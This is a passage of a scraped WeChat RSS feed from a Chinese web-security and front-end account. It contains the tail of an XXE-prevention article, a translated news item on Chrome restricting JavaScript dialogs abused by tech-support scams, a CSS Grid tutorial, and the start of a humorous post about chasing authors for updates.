box-sizing: border-box; padding-left: 2em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; " class=" list-paddingleft-2"><li><p>禁用XML使用外部实体</p></li><li><p>尽量不要让用户直接提交XML代码,如果一定要,请做好过滤。</p></li></ul><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_bus_001&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-color: initial; border-style: none; text-align: center;"><section style="padding: 1em 0.5em; font-size: 1em; text-align: left; line-height: 1.5;"><p><br/></p></section></section><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p>                                                             <br/></p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p><p><br/></p>



<p><a href="2247483795">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=aba96c43&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483795%26idx%3D1%26sn%3De9e9eaac0985fe65511edf6da57eb0ff%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 09 Apr 2017 19:13:00 +0800</pubDate>
    </item>
    <item>
      <title>技术支持的诈骗被滥用后，Google想要更改JavaScript弹出窗口</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483777&amp;idx=1&amp;sn=50640664c3689dd34b241d2be95de558</link>
      <description>所以以后要用console.log()?</description>
      <content:encoded><![CDATA[<p>
<span>[译] Jess_喵</span> <span>2017-04-02 22:05</span> <span style="display: inline-block;"></span>
</p>

<p>所以以后要用console.log()?</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=16353676&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayynUa0XoiaZM21Kt6icHpTANy7omlWUzo3reneCZOB1V5BmdXUiclzGmN0I0icujRcvQJrpw9hG6GdIHg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><p style="white-space: normal;"><span style="font-size: 16px;"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.43828125" src="https://wechat2rss.xlab.app/img-proxy/?k=16353676&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayynUa0XoiaZM21Kt6icHpTANy7omlWUzo3reneCZOB1V5BmdXUiclzGmN0I0icujRcvQJrpw9hG6GdIHg%2F0%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;">Chromium工程师正在计划并讨论改变JavaScript弹出窗口在Chrome和其他类似浏览器中的工作原理。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">在Google Developers门户网站上发布的一项提案中[1]，Chromium团队承认JavaScript弹出窗口过去一直在伤害用户。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">同时，JavaScript弹出窗口已被用于将用户重定向到恶意软件下载，这些打扰用户的对话通常还是基于web威胁的操作的核心，也称为技术诈骗。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">问题在于JavaScript弹出窗口通常阻止对整个浏览器的访问，除非用户手动关闭该弹出窗口。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">在许多情况下，骗子构建了无限循环的JavaScript，使用户在停留在不可靠的网站上。这些策略被称为“browser lockers”，与勒索软件工作方法类似，尽管它们更容易被删除，并且不会由于加密而导致的任何数据丢失。</p><h2 style="white-space: normal;"><br/></h2><h2 style="white-space: normal;"><strong><span style="font-size: 20px;">让Chrome JS弹出窗口只在单个选项卡上工作</span></strong></h2><p style="white-space: normal;"><strong><span style="font-size: 20px;"><br/></span></strong></p><h2 style="white-space: normal;">为了应对这种威胁，Google工程师表示，他们计划让javascript模态窗口，如alert()，confirm()和dialog()方法，仅在单个选项卡上上工作，而不是单个窗口。<br/></h2><p style="white-space: normal;"><br/></p><p style="white-space: normal;">这种更改意味着弹出式窗口不会阻止用户切换和关闭该选项卡，从而结束网站所有者的任何过于激进的策略。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">本周发布的Safari 9.1也发生了类似的变化。苹果公司的这个决定是在恶意软件使用Safari中的一个bug，通过弹出窗口将用户留在这个恶意页面，然后进行敲诈收费，构成了勒索软件[2]后制定的。。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><strong><span style="font-size: 20px;">Google自2016年7月起就对此调整进行了讨论</span></strong></p><p style="white-space: normal;"><strong><span style="font-size: 20px;"><br/></span></strong></p><p style="white-space: normal;">谷歌移动JavaScript弹出窗口到选项卡的决定没有时间表，但Chromium 的工程师自从2016年7月[3]一直把这个问题作为Project OldSpice[4]的部分项目在讨论。<br/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">与此同时，Google正在要求网络开发人员考虑使用新技术作为经典alert()、confirm()、和dialog()函数的替代方法。</p><p style="white-space: normal;">例如：</p><ul type="disc" class=" list-paddingleft-2" style="width: 528.188px; white-space: normal;"><li><p>通知API - 用来通知用户工作事件（例如日历网站）</p></li><li><p>HTML&lt;dialog&gt;元素 - 用于获取用户输入</p></li><li><p>Devtool的console.log（document.origin） - 用于验证XSS</p><p><br/></p></li></ul><p style="white-space: normal;">“由于这些变化，如果您的站点使用对话框，强烈建议您转向使用前面提到的替代方案，这样将不会受到影响，”Google的工程师说。“Chromium团队强烈建议您不要使用JavaScript对话框。”</p><p style="white-space: normal;"> </p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">[1]. <a href="https://developers.google.com/web/updates/2017/03/dialogs-policy" target="_blank">https://developers.google.com/web/updates/2017/03/dialogs-policy</a></p><p style="white-space: normal;">[2]. <a href="https://www.bleepingcomputer.com/news/security/yesterdays-ios-10-3-update-bring-safari-ransomware-campaign-to-an-end/" target="_blank">https://www.bleepingcomputer.com/news/security/yesterdays-ios-10-3-update-bring-safari-ransomware-campaign-to-an-end/</a></p><p style="white-space: normal;">[3]. <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=629964" target="_blank">https://bugs.chromium.org/p/chromium/issues/detail?id=629964</a></p><p style="white-space: normal;">[4]. <a href="https://docs.google.com/document/d/1wtV5rmLhbf1OZkbg7crtCt6h1mMtig_ctTQt3BLLEIU/edit" target="_blank">https://docs.google.com/document/d/1wtV5rmLhbf1OZkbg7crtCt6h1mMtig_ctTQt3BLLEIU/edit</a></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">作者：Catalin Cimpanu </p><p style="white-space: normal;">来源：<a href="https://www.bleepingcomputer.com/news/security/google-wants-to-change-javascript-popups-after-abuse-from-tech-support-scammers/" target="_blank">https://www.bleepingcomputer.com/news/security/google-wants-to-change-javascript-popups-after-abuse-from-tech-support-scammers/</a></p><p style="white-space: normal;"><br/></p><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p style="white-space: normal;">                                                            <br/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p style="white-space: normal;"><br/></p>



<p><a href="2247483777">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b61743c4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483777%26idx%3D1%26sn%3D50640664c3689dd34b241d2be95de558%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 02 Apr 2017 22:05:00 +0800</pubDate>
    </item>
    <item>
      <title>Chrome又种草——网格布局来了</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483773&amp;idx=1&amp;sn=fb0d2c2a3accabf3c0673f1d52c25342</link>
      <description>flex-box还没用6，css grid布局又来了~前端的你们怕不怕？</description>
      <content:encoded><![CDATA[<p>
<span>Jess_喵</span> <span>2017-03-27 13:54</span> <span style="display: inline-block;"></span>
</p>

<p>flex-box还没用6，css grid布局又来了~前端的你们怕不怕？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2d467827&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxpVWm6ib0JfzP0EwfOceUmGSeUnicXexricU6oJiasw1z4fR2s3JlOYWWQQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><p style="white-space: normal;"><span style="font-size: 16px;"></span></p><p>Chrome57版本支持了一种新的CSS布局<span style="font-size:16px;font-family:DengXian">——</span>网格布局（CSS Grid Layout）。用水平的和垂直的网格线把页面分成不同的单元格，在使用的时候，可以通过网格线的位置定义单元格，还可以跨单元格定义区域。这种方式可以为每个区域命名，在做媒体查询适配的时候，非常方便布局。</p><p style="white-space: normal;"><span style="font-size: 16px;"></span></p><p style="white-space: normal;"><br/></p><p>下图展示了网格布局的主要方式：</p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.5890625" src="https://wechat2rss.xlab.app/img-proxy/?k=d0bcf44e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxhttGmQbsLFqAccS7znqPURHEsSDOXPlSvSDOsv06hm1Qyz5ibpCWVlA%2F0%3Fwx_fmt%3Djpeg"/>首先定义一个容器，设置容器的display属性为grid。然后通过grid-template-columns和grid-template-rows属性定义网格的列数和行数。列和行之间是有grid-line的，我们可以通过线的位置来定义boxa的位置。</p><p><br/></p><p>代码中，定义boxa的位置grid-column为从第一条垂直线，到第5条垂直线之间的区域,grid-row为定义从第一条平行线到第二条平行线之间的区域，就是第一行，也就是header的范围。 注意，在这里线是从1开始数的。</p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="986" data-ratio="0.7748478701825557" src="https://wechat2rss.xlab.app/img-proxy/?k=3dd3f87f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxWHNgBFVYSkzT8V3cMyictt3tjpHvEAJNzIQCQIMI90UoO20skfam0YA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>效果如图所示：</p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="865" data-ratio="0.7410404624277457" src="https://wechat2rss.xlab.app/img-proxy/?k=89ebeaee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxCrZICib7tgictyibjBcSQrp51zWXBicDlVUlBHQpq0aNlfXm20a0uu9ITw%2F0%3Fwx_fmt%3Dpng"/></p><p>在boxa中还定义了grid-area属性，这个属性和wrapper中的grid-template-area属性对应，用来给这个区域放置具体的位置。这样，在用媒体查询适配的时候，可以直接通过定义grid-area来直接布局。</p><p><br/></p><p>同时，我们给b,c,d板块的area分别命名如下：</p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="854" data-ratio="1.0468384074941453" src="https://wechat2rss.xlab.app/img-proxy/?k=23230db8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8Xx6j4vxiaHGm0bKvZDZZ0ZgR7hib1WWm2bicV49maaCM1oibNzQmY8AgDgxA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>在进行媒体查询的时候，我们可以直接用area排版如下：</p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="936" data-ratio="0.43162393162393164" src="https://wechat2rss.xlab.app/img-proxy/?k=ebfb13a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxeqRuJLczPibicAHorKFBZNoicCetlQvFqvIAM5e53SDm7kdL949fCkOSA%2F0%3Fwx_fmt%3Dpng"/></p><p><img data-s="300,640" data-type="png" data-w="258" data-ratio="3.387596899224806" src="https://wechat2rss.xlab.app/img-proxy/?k=b9d3b53b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxnjWWO2yuhUXcZd0Kr046B7tfjy1wLUa2GBFLN9CShW617B4zqlrhyg%2F0%3Fwx_fmt%3Dpng"/></p><p>除了这些，网格布局还有什么特点呢？它还提供了对齐的属性： </p><p><span style="font-size: 14px; color: rgb(136, 136, 136);">align-content : start/end/center</span></p><p><span style="font-size: 14px; color: rgb(136, 136, 136);">justify-content : start/end/center/space-evenly</span></p><p><span style="font-size: 14px; color: rgb(136, 136, 136);"><br/></span></p><p>这两个属性用来定义所在区域的对齐方式。</p><p>下图就是整个wrapper的justify-content:end对齐方式。我们看到，右侧并没有完全紧贴外面的框，是因为我们设置了gird-gap间距。</p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_bus_001&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-color: initial; border-style: none; text-align: center;"><section style="padding: 1em 0.5em; font-size: 1em; text-align: left; line-height: 1.5;"><p><img data-s="300,640" data-type="png" data-w="865" data-ratio="0.4774566473988439" src="https://wechat2rss.xlab.app/img-proxy/?k=0243e644&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxpjicPOb7v6Ka9trjaaVL1t93Qevnxgt5CKUPuQhUjJ7EJJcgsGC6Gfw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>除了大区域的对齐，网格布局还提供了内容的对其方式，如下图第一个板块中的文字a：</p><p><span style="font-size: 14px; color: rgb(136, 136, 136);">align-self : start/end/center</span></p><p><span style="font-size: 14px; color: rgb(136, 136, 136);">justify-self : start/end/center</span></p><p><span style="font-size: 14px; color: rgb(136, 136, 136);"><br/></span></p><p><span style="font-size: 14px; color: rgb(136, 136, 136);"></span></p><p><img data-s="300,640" data-type="png" data-w="984" data-ratio="0.532520325203252" src="https://wechat2rss.xlab.app/img-proxy/?k=5ff3ddcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxeUtqdtLsuGT1DJK60a1CKnz5kqzpLkbwt3Q25BJyKYuGxOLicXx8l3w%2F0%3Fwx_fmt%3Dpng"/></p><p><img data-s="300,640" data-type="png" data-w="865" data-ratio="0.5248554913294797" src="https://wechat2rss.xlab.app/img-proxy/?k=6e5ac0b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxHRAyjDkia16R0IfbhhwOicU5UQjPec8EticYg288K26GouD1BZEOU7olQ%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>或许以后我们就不需要用float的方式来对齐了。</p><p> </p><p>网格布局的属性还有很多，作为一篇介绍了解性的文章，就不一一列举了。说说它的优势吧：</p><p><br/></p><p>1.更容易适配。</p><p style="text-indent:0">       像上面的示例，在媒体查询的时候，我们只要再次布局每个区域就可以了。</p><p style="text-indent:0"><br/></p><p>2. 便于排版，强力支持模块化。</p><p style="text-indent:0">        这种布局的展示，甚至可以不按照div在页面上的顺序。只要用grid-column和grid-row定义好所在区域的位置即可，与div的实际位置没有关系。这样，对于前端模块化将是很好的支持，并且css也可以单独定义当前这个模块了。</p><p style="text-indent:0"><br/></p><p>3. 网格内可以随意嵌套网格。</p><p style="text-indent:0">        在某个区域中，只要把当前区域的display设置成grid，那么这个div里面的内容同样可以使用网格布局定义自己的样式。</p><p style="text-indent:0"><br/></p><p>4. 网格布局同样支持绝对定位，并且，还支持div的跨网格覆盖。</p><p>         比如你设定了第一个div为第1条线到地4条线之间的区域，那么还可以定义一个div为第2条到第5条线之间的区域，只要设定好z-index即可。</p><p> </p><p>目前这个布局方式浏览器支持还不广泛，我们可以一起期待一下。我也用这个布局制作了一个不大不小的demo，包含嵌套网格、媒体查询等多种常用的样式，点击阅读原文即可（要用pc端的chrome57以上版本才可以看哦）。</p><p> </p><p>总体感觉，用了这个属性之后，对页面构建更需要有一个全局的意识，同我们之前的布局方式差别还是略大的。</p><p><br/></p></section></section><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p style="white-space: normal;">                                                                    </p><p style="white-space: normal;"><br/></p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p>



<p><a href="http://works.enjoyfe.com/resume/resume.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b0784054&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483773%26idx%3D1%26sn%3Dfb0d2c2a3accabf3c0673f1d52c25342%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Mar 2017 13:54:00 +0800</pubDate>
    </item>
    <item>
      <title>面向复杂人物性格特征的催更设计与实现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483773&amp;idx=2&amp;sn=f129445ae03be9bf8cb85d42493a91e7</link>
      <description>说人话，分享一下催更两周的经验……</description>
      <content:encoded><![CDATA[<p>
<span>Jess_喵</span> <span>2017-03-27 13:54</span> <span style="display: inline-block;"></span>
</p>

<p>说人话，分享一下催更两周的经验……</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3d75ea4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxOxw765qxBFj5FYPVTOT8UKQ7Rv4ammWBzJ49RDBjIxjibR8nzDwJQ7Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>公众号什么时候更新啊？</p><p>说好的周更变成月更了啊？</p><p>关注了之后，公众号还没更新过呢，什么时候更啊~？</p><p>……</p><p>…</p><p>.</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="440" data-ratio="0.6795454545454546" src="https://wechat2rss.xlab.app/img-proxy/?k=6cea5646&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxubibCz1Fb5HBh85w9rawDTS2SGws54TkQ992U2McM33mbLhcxzM7BBw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>请相信小编一直在催更，而且是仔细研读并实践从古至今的各家催更方案，三十六计都烂熟于心，可是……似乎百年前的方案并不能对现在的问题有任何效果。且听我娓(zhua)娓(kuang)道(jiang)来(shu)~</p><section label="Copyright © 2015 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; margin: 50px auto 16px; text-align: center;" donone="shifuMouseDownStyle(&#39;shifu_t_032&#39;)"><span style="
border-top: solid 1px #898989;
display: block;"><span style="
margin-top: -16px;
text-align: left;
display: block;"><span style="border-width: 1px; border-style: solid; border-color: rgb(137, 137, 137); height: 30px; width: 30px; border-radius: 50%; background-color: rgb(255, 255, 255); margin-left: 50px; display: inline-block;"><span style="margin-top: -16px; margin-left: -1px; border-width: 15px; border-style: solid; border-color: rgb(255, 255, 255); display: block;"></span><section class="color" style="background-color: rgb(235, 104, 118); height: 24px; width: 24px; line-height: 24px; border-radius: 50%; margin-right: auto; margin-left: auto; text-align: center; margin-top: -14px; color: rgb(255, 255, 255);"><p>一</p></section></span><section style="display: inline-block; padding-right: 8px; padding-left: 8px; margin-left: 50px; height: 30px; line-height: 30px; vertical-align: bottom; font-size: 18px; background-color: rgb(255, 255, 255); max-width: 76% !important;"><p><span style="font-size: 18px;  background-color: rgb(255, 255, 255);">第一次催更：欲擒故</span><span style="font-size: 18px;  background-color: rgb(255, 255, 255);">纵</span></p></section></span></span></section><p>我：你最近研究什么了吗？</p><p>他：嗯，看了*&amp;%…………&amp;*（</p><p>我：哦，可以啊，看起来很高端~</p><p>他：嗯，还可以吧，%%…………&amp;……*（*&amp;…………&amp;……%%……（脑补3分钟天书）</p><p>我：那写篇文章吧，跟大家分享一下~</p><p>他：不行，还不到位，还没有深度……等我再研究研究~</p><p>我：……</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="325" data-ratio="0.9230769230769231" src="https://wechat2rss.xlab.app/img-proxy/?k=86e7135c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxcAh1OupzzgsFsh9My0SkPnpxg0iaOmBNQHYdlsquVAtG3TgIumTsmHQ%2F0%3Fwx_fmt%3Djpeg"/></p><section label="Copyright © 2015 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; margin: 50px auto 16px; text-align: center;" donone="shifuMouseDownStyle(&#39;shifu_t_032&#39;)"><span style="
border-top: solid 1px #898989;
display: block;"><span style="
margin-top: -16px;
text-align: left;
display: block;"><span style="border-width: 1px; border-style: solid; border-color: rgb(137, 137, 137); height: 30px; width: 30px; border-radius: 50%; background-color: rgb(255, 255, 255); margin-left: 50px; display: inline-block;"><span style="margin-top: -16px; margin-left: -1px; border-width: 15px; border-style: solid; border-color: rgb(255, 255, 255); display: block;"></span><section class="color" style="background-color: rgb(235, 104, 118); height: 24px; width: 24px; line-height: 24px; border-radius: 50%; margin-right: auto; margin-left: auto; text-align: center; margin-top: -14px; color: rgb(255, 255, 255);"><p>二</p></section></span><section style="display: inline-block; padding-right: 8px; padding-left: 8px; margin-left: 50px; height: 30px; line-height: 30px; vertical-align: bottom; font-size: 18px; background-color: rgb(255, 255, 255); max-width: 76% 